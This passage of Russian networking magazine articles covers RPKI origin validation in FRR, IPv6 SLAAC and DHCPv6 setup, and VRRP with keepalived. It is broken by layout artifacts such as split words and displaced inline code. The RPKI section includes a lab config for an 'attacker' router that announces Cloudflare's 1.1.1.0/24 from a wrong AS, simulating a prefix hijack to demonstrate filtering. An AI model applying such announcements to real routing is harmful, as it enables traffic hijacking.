пос коль ку их модифи кация при переда че неиз бежна — каж дый мар шру тиза‐ 
тор дол жен добавить в AS path свой номер авто ном ной сис темы. Вмес то это‐ 
го  BGP  origin  validation  про веря ет  соот ветс твие  адре са  сети  и  авто ном ной
сис темы источни ка — край него пра вого номера в AS path.

whois

К сожале нию, RPKI — не нас тоящее, а будущее. Еще далеко не все опе‐ 
рато ры авто ном ных сис тем учас тву ют в ней, нес мотря на оче вид ные пре иму‐ 
щес тва, поэто му прос то отфиль тро вать все анон сы, для которых нет дан ных
валида ции,  не  вый дет.  Мож но  толь ко  отфиль тро вать  явно  не  соот ветс тву‐ 
ющие  авто ном ной  сис теме  источни ка.  Тем  не  менее  озна комить ся  с  ней
и уви деть ее в работе сей час может каж дый.

Хра нение базы дан ных соот ветс твия сетей и авто ном ных сис тем и про вер‐ 
ка  под писей  про изво дят ся  не  на  самом  мар шру тиза торе,  а  на  отдель ном
сер вере — для эко номии ресур сов.

За пус каем сер вер RPKI
Для демонс тра ции пот ребу ется хост для сер вера RPKI с любой UNIX‐подоб‐ 
ной сис темой, прог раммы rsync и JDK8+ и два хос та с уста нов ленным FRR.

Преж де чем нас тра ивать что‐то в FRR, нуж но запус тить сам сер вер RPKI.
Мы будем исполь зовать реали зацию RIPE, которая сос тоит из двух ком понен‐ 
тов: rpki‐validator‐3 и rpki‐rtr‐server.

За пус каем rpki-validator
Сна чала  нуж но  запус тить  .  Он  дос тупен  в  виде  обра за
для Docker и пакетов RPM для CentOS 7, а так же в виде обыч ного tgz‐архи ва
с исполня емым фай лом, который запус кает ся на любой сис теме.

rpki‐validator‐3

$ wget https://ftp.ripe.net/tools/rpki/validator3/prod/generic/
rpki‐validator‐3‐latest‐dist.tar.gz
$ tar xfz ./rpki‐validator‐3‐latest‐dist.tar.gz
$ cd rpki‐validator‐<номер версии>
$ ./rpki‐validator‐3.sh

Нас трой ки для баз дан ных всех RIR (RIPE, ARIN и дру гих) уже вклю чены в ком‐ 
плект, он авто мати чес ки заг рузит их базы дан ных. Для его работы тре буют ся
толь ко JDK8 или новее и rsync. Объ ем ска чива емых дан ных пока в пре делах
гигабай та.

Ес ли  ты  пла ниру ешь  запус кать  оба  сер виса  на  одной  машине,  допол‐ 
нитель ная нас трой ка не тре бует ся. Если нет, нуж но поп равить опцию 

 в  : по умол чанию он слу шает толь ко
на localhost.

server.
address conf/application.properties

За пус каем rpki-rtr-server
Сам про токол RTR реали зует дру гой про ект:  . Для сво ей работы он
тре бует  запущен ного  rpki‐validator,  поэто му  пре дыду щий  шаг  про пус тить
нель зя. Если он не смо жет под клю чить ся к валида тору, он сооб щит об этом
исклю чени ем вида 

.

rtr‐server

I/O error on GET  request  for  "http://localhost:
8080/api/objects/validated":  Connection  refused  (Connection  re‐
fused)

Про цеду ра его запус ка столь же прос та:

$ wget https://ftp.ripe.net/tools/rpki/validator3/prod/generic/
rpki‐rtr‐server‐latest‐dist.tar.gz
$ tar xfz ./rpki‐rtr‐server‐latest‐dist.tar.gz
$ cd rpki‐rtr‐server‐<номер версии>
$ ./rpki‐rtr‐server.sh

Он  тоже  по  умол чанию  слу шает  толь ко  на  localhost.  Если  нас тра ивать  FRR
с про вер кой аутен тичнос ти анон сов ты будешь на дру гой машине, нуж но поп‐ 
равить опцию   в  .rtr.server.address conf/application.properties

Пос ле  того  как  оба  сер виса  успешно  запус тятся,  мож но  нас тро ить  сам
FRR.

Нас тра иваем FRR
Кли ент RPKI реали зован в биб лиоте ке  . RTR здесь — RPKI to Router proto‐
col,  про токол  обме на  дан ными  меж ду  сер вером  RPKI  и  мар шру тиза тором.
Боль шинс тво сво бод ных реали заций BGP, вклю чая FRR, исполь зуют имен но
ее.

rtrlib

По  умол чанию  RPKI  в  BGPD  вык лючен,  и  что бы  его  вклю чить,  нуж но 
  :поправить /etc/frr/daemons

bgpd_options="   ‐‐daemon ‐A 127.0.0.1 ‐M rpki"

Сна чала нас тро им мар шру тиза тор условно го про вай дера. Пред положим, что
rtr‐server запущен на 192.168.56.1. Зай дем в vtysh и добавим сле дующие нас‐ 
трой ки:

rpki
 rpki polling_period 1000
 rpki timeout 10
 rpki initial‐synchronisation‐timeout 30
 rpki cache 192.168.56.1 8323 preference 1

Про верить ста тус мож но коман дой   Если все
прош ло нор маль но, вывод будет выг лядеть так:

.show rpki cache‐connection

Connected to group 1
rpki tcp cache 192.168.56.1 8323 pref 1

Те перь нас тро им сам BGP. В route‐map для не соот ветс тву ющих авто ном ной
сис теме  пре фик сов  мы  понизим    до  5  (ее  зна чение
по умол чанию — 100), что бы эффект мож но было уви деть в  :

local  preference
show ip bgp

router bgp 64496
neighbor 192.0.2.10 remote‐as 64501
!
address‐family ipv4 unicast
 neighbor 10.46.1.100 route‐map RPKI‐Test in
exit‐address‐family

!
route‐map RPKI‐Test permit 10
match rpki invalid
set local‐preference 5

Те перь нас тро им мар шру тиза тор условно го зло умыш ленни ка, который будет
анон сировать  сеть  сер вера  DNS  Cloudflare  (1.1.1.0/24,  AS13335)  из  явно
несо ответс тву ющей авто ном ной сис темы 64501:

ip route 1.1.1.0/24 blackhole

router bgp 64501
neighbor 192.0.2.1 remote‐as 64496
!
address‐family ipv4 unicast
 network 1.1.1.0/24
exit‐address‐family

Те перь  на  пер вом  мар шру тиза торе  в    мы  уви дим  сле дующую
кар тину:

show  ip  bgp

 

 

 Network          Next Hop            Metric LocPrf Weight Path
*> 1.1.1.0/24    192.0.2.10          0      5      0      64501 i

ЗАКЛЮЧЕНИЕ
На деюсь,  эта  статья  поможет  тебе  дожить  до  мас сового  внед рения  RPKI
без инци ден тов.

WWW

Ре комен дую почитать 
и  .

до кумен тацию FRR по RPKI
RIPE NCC

mailto:daniil@baturin.org
https://frrouting.org/
https://www.quagga.net/
https://ru.wikipedia.org/wiki/Cisco_IOS
https://habr.com/ru/post/450814/
http://ciscotips.ru/ospf
https://tools.ietf.org/html/rfc5398
https://tools.ietf.org/html/rfc1918
https://www.apnic.net/get-ip/faqs/rpki/
https://github.com/RIPE-NCC/rpki-validator-3
https://www.ripe.net/manage-ips-and-asns/resource-management/certification/tools-and-resources
http://rpki.realmv6.org/
http://docs.frrouting.org/en/latest/bgp.html#prefix-origin-validation-using-rpki
https://www.ripe.net/manage-ips-and-asns/resource-management/certification/tools-and-resources


ПРОТОКОЛ
НЕПРОСТОЙ

АВТОМАТИЗИРУЕМ НАСТРОЙКУ
АДРЕСОВ В IPV6

Даниил Батурин
Координатор проекта VyOS
(https://vyos.io), «языковед»,
функциональщик, иногда
сетевой администратор

daniil@baturin.org

АДМИН

IPv6 печаль но зна менит сво ей слож ностью,
во  мно гом  —  оправдан но.  Вза мен  нас‐ 
ледия  IPv4  появи лись  новые  кон цепции
и  вари анты  нас трой ки.  Авто ры  сте ка  про‐ 
токо лов IPv6 хотели сде лать его более дру‐ 
жес твен ным  к  конеч ным  поль зовате лям
и самонас тра ивающим ся сетям. Увы, прос‐ 
тота  для  поль зовате ля  неред ко  обо рачи‐ 
вает ся слож ностя ми для адми на.

В  IPv4  есть  все го  два  вари анта:  ста тичес кая  нас трой ка  адре са  и  шлю за
по умол чанию или DHCP. Сегод ня мы рас смот рим в деталях, что же приш ло
на сме ну клас сичес кому DHCP из IPv4, как оно работа ет и как с этим жить.

Нуж но  пом нить,  что  в  IPv6  наконец  исчез  целый  ряд  уста рев ших  тех‐ 
нологий.  В  час тнос ти,  в  нем  боль ше  нет  широко веща тель ной  рас сылки
(broadcast), во всех про токо лах ее замени ла мно гоад ресная рас сылка (multi‐
cast) и стан дарти зован ные груп повые адре са: нап ример, ff02::1 — все хос ты
в сег менте, ff02::2 — все мар шру тиза торы.

Кро ме того, не все механиз мы авто мати чес кой нас трой ки тре буют учас тия
сер вера или мар шру тиза тора.

АДРЕСА LINK-LOCAL
Нач нем  с  кон цепции  адре сов  типа  link‐local.  Они  выделя ются  из  сети
ff00::/8 и прис ваивают ся каж дой сетевой кар те при заг рузке сис темы. В отли‐ 
чие  от  IPv4,  в  IPv6  их  исполь зование  обя затель но.  Это  поз воля ет  каж дому
устрой ству иметь адрес и вза имо дей ство вать с дру гими устрой ства ми той же
сети,  незави симо  от  того,  успешно  ли  отра бота ли  дру гие  механиз мы  нас‐ 
трой ки и вклю чены ли они вооб ще.

Для рас сылки пакетов через multicast нужен адрес источни ка, а broadcast
в IPv6, как мы пом ним, нет. Имен но поэто му наличие адре са на самом ран нем
эта пе  заг рузки  осо бен но  важ но.  В  IPv4  с  его  мас совым  при мене нием
широко веща тель ной  рас сылки  эту  проб лему  «решали»,  исполь зуя
адрес 0.0.0.0 вмес то адре са источни ка или наз начения.

Изо лиро ван ная сеть теоре тичес ки может работать на одних адре сах  link‐
local,  с  точ ки  зре ния  хос тов  они  неот личимы  от  любых  дру гих.  Раз личие
сущес тву ет  толь ко  для  мар шру тиза торов,  которые  по  стан дарту  обя заны
не пересы лать пакеты с link‐local в адре се наз начения в дру гие сети.

На прак тике, конеч но, от сети мало поль зы без соеди нения с интерне том
или  дру гими  час тны ми  сетями,  поэто му  перей дем  к  механиз мам  нас трой ки
пуб личных адре сов.

Эта  идея  не  нова:  в  IPv4  они  уже  сущес тво вали  и  выделя лись
из  сети  169.254.0.0/16,  но широко го  рас простра нения  не  при обре ли. Одна
из  при чин  это го  —  слож но  пре дот вра тить  кон флик ты  адре сов.  Успешная
реали зация этой идеи тре бует дос таточ но надеж ных и прак тичных спо собов
обес печить  адре сам  хос тов  уни каль ность.  Пос мотрим,  как  эта  проб лема
реша ется в IPv6.

УНИКАЛЬНЫЕ АДРЕСА ХОСТОВ
Стан дар тный раз мер сети для одно го сег мента  каналь ного  уров ня в  IPv6 — 

 Это очень мно го — 2   адре сов!  Казалось бы,  абсур дная идея,  но для
нее  есть  осно вания.  В  64  бита  мож но  помес тить  сущес тву ющий  гло баль но
уни каль ный  иден тифика тор  или  сге нери ровать  слу чай ный  с  очень  низ кой
веро ятностью кон флик тов.

./64 64

Каж дый завод ской MAC‐адрес  гаран тирован но  уни кален,  поэто му мож но
избе жать потен циаль ных кон флик тов адре сов нав сегда, прос то исполь зовав
MAC‐адрес сетевой кар ты как часть ее адре са  IPv6. Этот механизм называ‐ 
ется EUI‐64 (Extended Unique  Identifier). В деталях про него мож но про читать
в при ложе нии к  .RFC 2373

Раз мер MAC‐адре са — 48 бит  (шесть байт), а нам нуж но 64, поэто му он
делит ся на две час ти по три бай та и в середи ну встав ляет ся магичес кое чис‐ 
ло 0xFFFE. Кро ме того, инверти рует ся седь мой бит MAC‐адре са — у гло баль‐ 
но уни каль ных он по умол чанию уста нов лен в ноль.

Пос коль ку  адре са  типа  link‐local  не мар шру тизи руют ся,  никаких  проб лем
с при ват ностью такой под ход не соз дает. Для прис воения пуб личных адре сов
он,  оче вид но,  проб лемати чен —  зло умыш ленник  с  дос тупом  к  дам пам  тра‐ 
фика или логам сер вера лег ко может отож дес твить адре са из раз ных сетей —
нап ример,  из  дома,  с  работы  или  пуб личной  точ ки  дос тупа  Wi‐Fi  в  гос‐ 
тинице — с одним устрой ством и отсле дить переме щения поль зовате ля.

В  сов ремен ном мире  это далеко  не  самая боль шая  угро за  при ват ности,
так  что  мы  не  будем  рас смат ривать  механиз мы  борь бы  с  ней  в  деталях,
но они сущес тву ют. Один вари ант, IPv6 privacy extensions, опи сан в  .
Важ нее  то,  что  в  IPv6,  вер нее  в  NDP —  экви валент  ARP,  встро ен  механизм
выяв ления  кол лизий  адре сов.  Узлы  сна чала  прис ваивают  адре су  сос тояние
tentative  и  ждут,  не  при дет  ли  пакет NDP  с  этим  адре сом  в  источни ке.  Если
такой пакет при ходит, адрес не акти виру ется.

RFC 3041

Та ким обра зом, идея авто мати чес ки сге нери рован ных адре сов при мени‐ 
ма и к локаль ным адре сам, и к пуб личным. Для нас трой ки нужен толь ко адрес
сети.

Мар шру тиза торы при нас трой ке сетевых карт неред ко поз воля ют ука зать
вруч ную  толь ко адрес сети,  но оста вить сис тему  генери ровать иден тифика‐ 
тор хос та самос тоятель но: нап ример, 

  в Cisco  IOS, 
 в VyOS. Хос ты адрес сво ей сети обыч но не зна‐ 

ют, поэто му его нуж но получить из внеш него источни ка. Тут и всту пает в дей‐ 
ствие SLAAC (StateLess Address AutoConfiguration) через router advertisement.

interface Gi0; ipv6 address 2001:
db8::/64 eui‐64 set interfaces ethernet eth0 ipv6  ad‐
dress eui64 2001:db8::/64

ROUTER ADVERTISEMENT (SLAAC)
Нуж но пом нить, что ARP в IPv6 тоже нет, его роль взял на себя NDP — Neigh‐
bor  Discovery  Protocol,  опи сан ный  в  .  В  отли чие  от  ARP,  это  не
отдель ный  про токол  про межу точ ного  уров ня  меж ду  сетевы ми  и  каналь ным,
а под мно жес тво ICMPv6. Это ста ло воз можно имен но потому, что адре са link‐
local обя затель ны: в сети не может быть хос тов с неоп ределен ным адре сом.

RFC  4861

Он замет но фун кци ональ нее сво его пред шес твен ника, и в чис ле про чего
в  нем  есть  явное  раз деление  меж ду  ролями  хос та  и  мар шру тиза тора.
В  IPv4  адрес  мар шру тиза тора  мож но  было  толь ко  нас тро ить  вруч ную
или  получить  через  DHCP,  в  IPv6  же  мар шру тиза торы  рас сыла ют  пакеты
с  информа цией  о  том,  что  они  готовы  мар шру тизи ровать  тра фик  хос тов,
и заод но сооб щают им свой адрес.

Этот  же  про токол  спо собен  передать  хос там  адрес  сети,  в  которой  они
ока зались, что бы они смог ли сами нас тро ить себе адре са.

Поп робу ем  нас тро ить  этот  механизм  на  GNU/Linux.  Для  рас сылки  router
advertisement  будем  исполь зовать  пакет  radvd.  Он  обыч но  при сутс тву ет
в репози тори ях, и слож ностей с его уста нов кой воз никнуть не дол жно.

Пред положим,  что  на  eth0  мар шру тиза тора  нас тро ен
адрес  2001:db8::1/64.  Для  начала  вклю чим  мар шру тиза цию  IPv6: 

. Затем напишем сле дующее
в  :

sudo 
sysctl ‐w net.ipv6.conf.all.forwarding=1
/etc/radvd.conf

interface eth0 {
   IgnoreIfMissing on;
   AdvManagedFlag off;
   AdvReachableTime 0;
   AdvSendAdvert on;
   AdvOtherConfigFlag off;
   prefix 2001:db8::/64 {
       AdvOnLink on;
       AdvAutonomous on;
   };
};

Пос ле запус ка в radvd мы уви дим в дам пе тра фика сле дующую кар тину:

 

 

11:36:49.958369 IP6 (flowlabel 0xf840b, hlim 255, next‐header ICMPv6 
(58) payload length: 56) fe80::a00:27ff:fe76:3417 > ff02::1: [icmp6 sum 
ok] ICMP6, router advertisement, length 56 
hop limit 64, Flags [none], pref medium, router lifetime 1800s, reach‐
able time 0s, retrans time 0s 
  prefix info option (3), length 32 (4): 2001:db8::/64, Flags [onlink, 
auto], valid time 86400s, pref. time 14400s 
  source link‐address option (1), length 8 (1): 08:00:27:76:34:17

Это и есть router advertisement. Адрес наз начения ff02::1 — груп повой адрес
всех  хос тов.  Обра ти  вни мание:  в  качес тве  адре са  источни ка  исполь зует ся
адрес link‐local, а не гло баль ный пуб личный адрес.

Ес ли в качес тве кли ент ско го хос та Linux, то вруч ную авто нас трой ку мож но
вклю чить  с  помощью опции 

,  хотя  про ще  сде лать  это  через  NetworkManager.  Пос ле  это го
на  интерфей се  ты  уви дишь  авто мати чес ки  нас тро енный  адрес,  а  в 

 — запись вида  .  Все  авто‐ 
мати чес ки нас тро енные мар шру ты в  IPv6 исполь зуют имен но адрес  link‐local
в  качес тве адре са шлю за,  как на  хос тах,  так и на мар шру тиза торах с RIPng,
OSPFv3, а неред ко и с BGP.

sudo sysctl ‐w  net.ipv6.conf.eth0.accep‐
t_ra=1

ip  ‐6 
route default via fe80::a00:27ff:fe76:3417

Че рез  router  advertisement  мож но  раз давать  толь ко  мар шру ты  и  адре са
сетей. Есть рас ширения для раз дачи адре сов сер веров DNS, но для раз дачи
допол нитель ной информа ции  вро де  сер веров NTP или  вов се про изволь ных
опций без DHCPv6 не обой тись.

DHCPV6
DHCPv6 похож на сво его пред шес твен ника из  IPv4, но отли чает ся деталя ми
реали зации, и про эти раз личия нуж но пом нить, что бы пра виль но его нас тро‐ 
ить.

Пос коль ку  нас трой ка мар шру та  по  умол чанию  в  IPv6  дела ется  авто мати‐ 
чес ки через router advertisement, в DHCPv6 эта воз можность не пре дус мотре‐ 
на — не ищи ее в докумен тации.

В  IPv4  хос ты  рас сыла ют  широко веща тель ный  зап рос  к  сер веру  DHCP.
В  IPv6,  даже  ког да  хост  нас тро ен  исполь зовать  DHCPv6,  он  не  ста нет
это делать, если мар шру тиза тор не ска жет ему о при сутс твии в сети сер вера.

Нас тра иваем RA для DHCPv6
В  нашем    была  опция  .  Сог ласно  ,
флаг  autonomous  озна чает,  что  никакой  дру гой механизм  раз дачи  нас тро ек
в сети не пре дус мотрен и хос там сле дует нас тра ивать свои адре са на осно ве
информа ции об адре се сети из пакета:   в нашем слу чае. Если
этот  флаг  выс тавлен  в  ноль,  то  хос ты  игно риру ют  информа цию  об  адре се
сети из пакетов router advertisement.

radvd.conf AdvAutonomous  on RFC  4862

2001:db8::/64

Дол жны ли хос ты отправ лять зап рос к сер веру DHCPv6, опре деля ют фла ги
Managed и OtherConfig. Флаг Managed озна чает, что хос ты дол жны получить
адре са через DHCPv6. Флаг OtherConfig озна чает, что хос ты дол жны исполь‐ 
зовать SLAAC, но через DHCPv6 дос тупны допол нитель ные нас трой ки.

По это му, преж де чем нас тра ивать сер вер DHCPv6, нуж но сно ва поп равить
  и  про писать  там    и 

, затем переза пус тить сер вис.
/etc/radvd.conf AdvManagedFlag  on AdvAutonomous 
off

Нас тра иваем DHCPv6
Сер вер DHCPv6 мож но най ти в пакете ISC DHCP, в раз ных дис три бути вах он
называ ется или  , или  . Рас положе ние кон фига
дис три бути во‐зависи мо  и  нас тра ивает ся  в  опци ях  запус ка,  условно  будем
счи тать,  что  он  лежит  в  .  Напишем  туда  для  тес та
минималь ный кон фиг:

dhcp‐server isc‐dhcp‐server

/etc/dhcpd/dhcpd6.conf

shared‐network TEST {
   subnet6 2001:db8::/64 {
       range6 2001:db8::1000 2001:db8::2000;
       option dhcp6.name‐servers 2001:db8::100;
   }
}

Те перь оста лось запус тить сер вис, нас тро ить на кли енте опцию получать нас‐ 
трой ки из DHCPv6 и пос мотреть, что будет.

ЗАКЛЮЧЕНИЕ
В  кор поратив ных  сетях  IPv6  все  еще  ско рее  исклю чение,  чем  пра вило,  но,
ког да он  туда доберет ся,  эта статья,  я наде юсь, поможет  тебе быть  к это му
готовым.

mailto:daniil@baturin.org
https://tools.ietf.org/html/rfc2373
https://tools.ietf.org/html/rfc3041
https://tools.ietf.org/html/rfc4861
https://tools.ietf.org/html/rfc4862
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АДМИН

VRRP,  нес мотря  на  неяс ную  ситу ацию
с  патен тами  Cisco,  оста ется  стан дар тным
про токо лом  для  горяче го  резер вирова ния
мар шру тиза торов.  Популяр ный  в  сис темах
семей ства  BSD  про токол  CARP  сво боден
от  патен тных  огра ниче ний,  но  ста тус  стан‐ 
дарта и под дер жка со сто роны мно гих пос‐ 
тавщи ков  име ют  свои  пре иму щес тва  —
есть  по  край ней  мере  теоре тичес кая  воз‐ 
можность  сме нить  пос тавщи ка  незамет но
для  поль зовате лей  сети.  Мы  рас смот рим,
как  нас тро ить  отка зоус той чивый  мар шру‐ 
тиза тор на осно ве Linux. В качес тве реали‐ 
зации  VRRP  мы  будем  исполь зовать
keepalived.

ПРОТОКОЛ VRRP
  рас шифро выва ется  как  Virtual  Redundancy  Router  Protocol.  Груп па

физичес ких  мар шру тиза торов  объ еди няет ся  в  один  вир туаль ный.  Каж дый
учас тник груп пы может находить ся в трех сос тояниях: неоп ределен ном (initial‐
ize), основном (master) и резер вном (backup). У всех учас тни ков в нас трой ках
при сутс тву ет  один  или  нес коль ко  вир туаль ных  адре сов.  У  основно го  эти
адре са прис воены сетевой кар те, а у осталь ных — прос то ждут сво его часа.

VRRP

Преж де все го нуж но ска зать, что VRRP работа ет поверх IP, а не нап рямую
поверх каналь ного уров ня. Если быть точ ным, он исполь зует груп повой (multi‐
cast) адрес 224.0.0.18. Пос коль ку multicast по умол чанию не мар шру тизи рует‐ 
ся, вза имо дей ствие воз можно толь ко в пре делах одной физичес кой сети.

Это зна чит,  что,  помимо обще го вир туаль ного адре са,  каж дому мар шру‐ 
тиза тору на каж дом сетевом интерфей се, где ты нас тра иваешь VRRP, дол жен
быть прис воен основной, с которо го он будет отправ лять соседям слу жеб ные
пакеты.

Нуж но сра зу ска зать, что основной  (слу жеб ный) адрес сов сем не обя зан
быть  из  одной  сети  с  вир туаль ными.  Если  у  тебя  недос таточ но  пуб личных
адре сов для тех сетевых карт, которые смот рят в интернет, ты впол не можешь
исполь зовать  час тные  адре са  из  RFC  1918  в  качес тве  слу жеб ных.  Ну,  если
нас трой ки тво его про вай дера это го не зап реща ют.

У  каж дой  груп пы  мар шру тиза торов  есть  VRID  —  Virtual  Router  Identifier.
Это  прос то  чис ло  в  диапа зоне  от  1  до  255.  С  каж дой  груп пой  может  быть
ассо цииро ван один или нес коль ко вир туаль ных адре сов. На уров не про токо‐ 
ла  спи сок  адре сов  переда ется,  но  толь ко  для  отла доч ных  целей.  Про цесс
VRRP их никак не исполь зует, тем более что переда ются они без мас ки под‐ 
сети, так что за иден тичностью нас тро ек вир туаль ных адре сов нуж но сле дить
самому.

Груп пы с раз ным VRID друг с дру гом не вза имо дей ству ют, поэто му в одной
физичес кой сети может быть нес коль ко незави симых групп резер вирова ния,
глав ное — нас тро ить.

При  заг рузке  или  пер вичной  нас трой ке  VRRP  учас тни ки  груп пы  ока зыва‐ 
ются  в  неоп ределен ном  сос тоянии  (initialize)  и  выбира ют,  кому  быть
основным,  а  кому резер вным. В  нас трой ках  VRRP мож но  ука зать  при ори тет
(priority) — мар шру тиза тор с наиболь шим при ори тетом выиг рыва ет выборы.

Ес ли  при ори тет  у  нес коль ких  мар шру тиза торов  оди нако вый,  выиг рыва ет
тот, у кого самый боль шой адрес IP. Я сам ста раюсь не полагать ся на слу чай
и всег да ука зываю при ори тет явно.

Мар шру тиза тор, который выб рали основным, прис ваивает сво ей сетевой
кар те вир туаль ные адре са и начина ет рас сылать осталь ным пакеты VRRP ad‐
vertisement. Таким спо собом он сооб щает, что еще жив и работос пособен.

По ка эти пакеты при ходят, резер вные мар шру тиза торы ничего не дела ют.
Ког да  основной  упа дет  и  резер вные  заметят,  что  пакеты  перес тали  при‐ 
ходить,  они  ини циируют  выборы  заново  и  выберут  новый  основной
из оставших ся, по тем же пра вилам.

Что будет, если быв ший основной мар шру тиза тор вер нется к жиз ни? Все
зависит от опции   в нас трой ках. Если она вклю чена, то он сно ва ини‐ 
циирует выборы и вер нет себе былую сла ву. Если нет, так и оста нет ся резер‐ 
вным.

preempt

Вклю чать или не вклю чать   — дело вку са. С одной сто роны, с этой
опци ей лег ко пред ска зать, какой мар шру тиза тор в дан ный момент основной,
а с дру гой — перек лючений сос тояния, а зна чит, и потерян ных пакетов будет
боль ше. Я обыч но вклю чаю, но свое мне ние никому не навязы ваю.

preempt

НАСТРАИВАЕМ KEEPALIVED
Пе рей дем  от  теории  к  прак тике.  В  пер вую  оче редь  нам  пот ребу ется  пакет

.  Его  фун кци ональ ность  шире,  но  сегод ня  мы  сос редото чим ся
имен но на VRRP. Этот пакет есть в репози тори ях у всех популяр ных дис три‐ 
бути вов, так что с его уста нов кой слож ностей быть не дол жно.

keepalived

Сце нарий  будет  такой:  два  мар шру тиза тора,  rtr‐master  со  слу жеб ным
адре сом 192.0.2.1 и rtr‐backup с адре сом 192.0.2.2. В качес тве вир туаль ного
адре са возь мем 192.0.2.254, а VRID уста новим в 10. Будем счи тать, что слу‐ 
жеб ные адре са нас тро ены на сетевом интерфей се eth0.

Файл  нас тро ек  лежит  в  .  Нач нем
с резер вно го мар шру тиза тора, что бы было про ще уви деть, как его роль возь‐ 
мет на себя основной. Прис воим ему при ори тет, рав ный 100.

/etc/keepalived/keepalived.conf

rtr‐backup$ cat /etc/keepalived/keepalive.conf

vrrp_instance my‐group {
 state BACKUP
 interface eth0
 virtual_router_id 10
 priority 100
 advert_int 1

 preempt_delay 0
 virtual_ipaddress {
   192.0.2.254/24
 }
}

За пус тим  сер вис  с  помощью 
или  экви вален та  для  сис тем  без  systemd.  В  выводе    мы
смо жем уви деть, что он прис воил eth0 адрес 192.0.2.254.

systemctl  start  keepalived.service
ip  address  show

Те перь соз дадим иден тичный кон фиг на rtr‐master, но с опци ей 
.  Для  наг ляднос ти  запус тим  на  rtr‐master  дамп  тра фика,  нап ример 

.  Ког да  мы  запус тим  на  нем  keepalived,  мы
получим там такую кар тину:

priority 
200 sudo 
tcpdump  ‐vvv  ‐ni  eth0  vrrp

192.0.2.2 > 224.0.0.18: vrrp 192.0.2.2 > 224.0.0.18:
   VRRPv2, Advertisement, vrid 10, prio 100, authtype none, intvl 1s
, length 20, addrs: 192.0.2.254
   06:27:47.495833 IP (tos 0xc0, ttl 255, id 410, offset 0, flags [
none], proto VRRP (112), length 40)
192.0.2.2 > 224.0.0.18: vrrp 192.0.2.2 > 224.0.0.18:
   VRRPv2, Advertisement, vrid 10, prio 100, authtype none, intvl 1s
, length 20, addrs: 192.0.2.254
   06:27:48.133070 IP (tos 0xc0, ttl 255, id 1, offset 0, flags [
none], proto VRRP (112), length 40)
192.0.2.1 > 224.0.0.18: vrrp 192.0.2.1 > 224.0.0.18:
   VRRPv2, Advertisement, vrid 10, prio 200, authtype none, intvl 1s
, length 20, addrs: 192.0.2.254
   06:27:49.133266 IP (tos 0xc0, ttl 255, id 2, offset 0, flags [
none], proto VRRP (112), length 40)
192.0.2.1 > 224.0.0.18: vrrp 192.0.2.1 > 224.0.0.18:
   VRRPv2, Advertisement, vrid 10, prio 200, authtype none, intvl 1s
, length 20, addrs: 192.0.2.254
   06:27:50.133343 IP (tos 0xc0, ttl 255, id 3, offset 0, flags [
none], proto VRRP (112), length 40)

Как видим,   отправ лял пакеты VRRP, пока не получил пакет от 
  с  боль шим  при ори тетом.  В  этот  момент  он  перес тал  отправ лять

пакеты  и  перешел  в  сос тояние  .  Соот ветс твен но,    прис‐ 
воил себе адрес 192.0.2.254.

rtr‐backup rtr‐
master

backup rtr‐master

Как мож но узнать сос тояние VRRP не по кос венным приз накам? Эта воз‐ 
можность при сутс тву ет в  , но, к сожале нию, в дис три бути вах она
час то не вклю чена при сбор ке пакета.

keepalived

  для дам па дан‐ 
ных о сос тоянии;

• kill SIGUSR1 $(cat /var/run/keepalived.pid)

 для дам па ста тис тики;• kill SIGUSR2

 для дам па дан ных в фор мате JSON.• kill 36

Фай лы  сох раня ются  в  .  Если  быть  точ ным,  то  дамп
в JSON ини циирует сиг нал  , в Linux это зна чение рав но трид цати
шес ти.

/tmp/keepalived.*
SIGRTMIN+2

Сов мести мость с RFC
По RFC 3768,  кро ме вир туаль ных адре сов  IP,  дол жны исполь зовать ся еще и
вир туаль ные MAC‐адре са, из диапа зона 00‐00‐5E‐00‐01‐XX.

Но при наших нас трой ках,  если пос мотреть еще  глуб же в дамп  тра фика,
мож но уви деть, что пакеты отправ ляют ся с физичес кого адре са самого eth0.
В keepalived режим сов мести мос ти с RFC по умол чанию отклю чен. Ког да‐то
дав но —  потому,  что  нуж ной фун кци ональ нос ти  в  ста биль ных  вер сиях  ядра
Linux  не  было.  Теперь  при чины  в  основном  исто ричес кие,  но  есть  и  прак‐ 
тичес кая. Пос коль ку у каж дой сетевой кар ты может быть один и толь ко один
MAC‐адрес,  дос тичь  сов мести мос ти  с RFC мож но,  толь ко  соз дав  вир туаль‐ 
ный  интерфейс.  Имен но  это  keepalived  и  дела ет,  но  в  этом  слу чае  пра вила
netfilter  и  про чие  нас трой ки,  в  которых  явно  упо мяну ты  име на  сетевых
интерфей сов (вро де  ), перес танут
при менять ся к интерфей су с вир туаль ными адре сами — име на интерфей сов
не могут быть оди нако выми.

iptables ‐I OUTPUT ‐o eth0 ‐j ACCEPT

По это му  перед  тем,  как  вклю чать  этот  режим,  прос мотри  все  нас трой ки
и  убе дись,  что  они  не  зависят  от  имен  интерфей сов,  или  про дуб лируй  их
для вир туаль ного интерфей са.

Вклю чить  его  мож но  опци ей  .  Нап ример,
если добавить сле дующие стро ки, вир туаль ные адре са будут прис воены вир‐ 
туаль ному интерфей су eth0v10.

use_vmac  <имя  интерфейса>

vrrp_instance my‐group
{
 use_vmac eth0v10

}

На  прак тике  нес тандар тный  режим  по  умол чанию  обыч но  не  вызыва ет
никаких проб лем, раз ве что с сис темами, которые прин ципи аль но не вос при‐ 
нима ют  gratuitous  ARP  (прось бу  забыть  связь  IP‐  и MAC‐адре сов),  но  такие
встре чают ся ред ко.

До пол нитель ные воз можнос ти
VRRP без multicast
Иног да мож но нар вать ся на сети, где multicast не работа ет, но орга низо вать
резер вирова ние как‐то надо. Такое чаще все го быва ет на интерфей сах, под‐ 
клю чен ных к ком мутато ру про вай дера.

Вы ручит тебя столь же про тиво реча щая RFC, но впол не работос пособ ная
опция  .  В  нашем  слу чае  мож но  добавить  в 
опцию   на  rtr‐master и,  соот ветс твен но, 

 на rtr‐backup.

unicast‐peer vrrp_instance
unicast_peer { 192.0.2.2 } uni‐

cast_peer { 192.0.2.1 }

Син хро низа ция групп
Как ты пом нишь, VRRP нас тра ивает ся отдель но для каж дой физичес кой сети.
Оче вид но,  работос пособ ность  одной  сетевой  кар ты  никак  не  гаран тиру ет
работос пособ ность все го мар шру тиза тора.

Пусть  у  тебя есть мар шру тиза тор с дву мя интерфей сами, один в локаль‐ 
ную сеть,  дру гой  к  про вай деру.  Если  соеди нение с  про вай дером  упа дет,  то
вир туаль ный внеш ний адрес перей дет к резер вно му мар шру тиза тору, но вир‐ 
туаль ный  внут ренний  так  и  оста нет ся,  где  был,  и  пакеты  из  локаль ной  сети
